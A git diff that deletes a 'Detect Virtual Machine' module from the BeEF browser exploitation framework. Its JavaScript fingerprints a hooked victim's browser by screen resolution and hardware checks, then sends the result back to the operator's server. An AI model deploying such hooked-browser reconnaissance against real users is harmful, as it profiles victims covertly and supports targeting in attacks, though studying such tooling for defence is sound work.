diff --git a/modules/host/detect_vm/command.js b/modules/host/detect_vm/command.js
deleted file mode 100644
index a1edb1f75..000000000
--- a/modules/host/detect_vm/command.js
+++ /dev/null
@@ -1,64 +0,0 @@
-//
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-// Browser Exploitation Framework (BeEF) - http://beefproject.com
-// See the file 'doc/COPYING' for copying permission
-//
-
-// Written by Jeremiah Grossman
-// Ported to BeEF by bcoles
-// For more information see http://jeremiahgrossman.blogspot.com.au/2009/08/web-pages-detecting-virtualized.html
-
-beef.execute(function() {
-
- var result;
- var dimensions = {
- '320, 200' : '',
- '320, 240' : '',
- '320, 480' : '', // iPhone 4S and earlier
- '480, 320' : '', // iPhone 4S and earlier
- '640, 480' : '',
- '640, 1136' : '', // iPhone 5
- '800, 480' : '',
- '768, 576' : '',
- '854, 480' : '',
- '1024, 600' : '',
- '1136, 640' : '', // iPhone 5
- '1152, 768' : '',
- '800, 600' : '',
- '1024, 768' : '',
- '1280, 854' : '',
- '1280, 960' : '',
- '1280, 1024' : '',
- '1280, 720' : '',
- '1280, 768' : '',
- '1366, 768' : '',
- '1280, 800' : '',
- '1440, 900' : '',
- '1440, 960' : '',
- '1400, 1050' : '',
- '1600, 1200' : '',
- '2048, 1536' : '',
- '1680, 1050' : '',
- '1920, 1080' : '',
- '2048, 1080' : '',
- '1920, 1200' : '',
- '2560, 1600' : '',
- '2560, 2048' : ''
- };
-
- var wh = screen.width + ", " + screen.height;
-
- if (dimensions[wh] != undefined) {
- result = "Not virtualized";
- } else if (beef.hardware.isVirtualMachine()) {
- result = "Virtualized";
- } else if (beef.hardware.isMobileDevice()) {
- result = "Not virtualized";
- } else {
- result = "This host is virtualized or uses an unrecognized screen resolution";
- }
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result+"&w="+screen.width+"&h="+screen.height);
-
-});
-
diff --git a/modules/host/detect_vm/config.yaml b/modules/host/detect_vm/config.yaml
deleted file mode 100644
index f1134c672..000000000
--- a/modules/host/detect_vm/config.yaml
+++ /dev/null
@@ -1,15 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-beef:
- module:
- detect_virtualization:
- enable: true
- category: "Host"
- name: "Detect Virtual Machine"
- description: "This module uses the host screen resolution as a cheap and easy method to check if the browser is running in a virtual environment.
Unusual screen resolutions, such as those used by wide screen televisions or hand-held devices, may result in false negative results."
- authors: ["Jeremiah Grossman", "bcoles"]
- target:
- working: ["All"]
diff --git a/modules/host/detect_vm/module.rb b/modules/host/detect_vm/module.rb
deleted file mode 100644
index d0b229761..000000000
--- a/modules/host/detect_vm/module.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-class Detect_virtualization < BeEF::Core::Command
-
- def post_execute
- content = {}
- content['result'] = @datastore['result'] if not @datastore['result'].nil?
- save content
- end
-
-end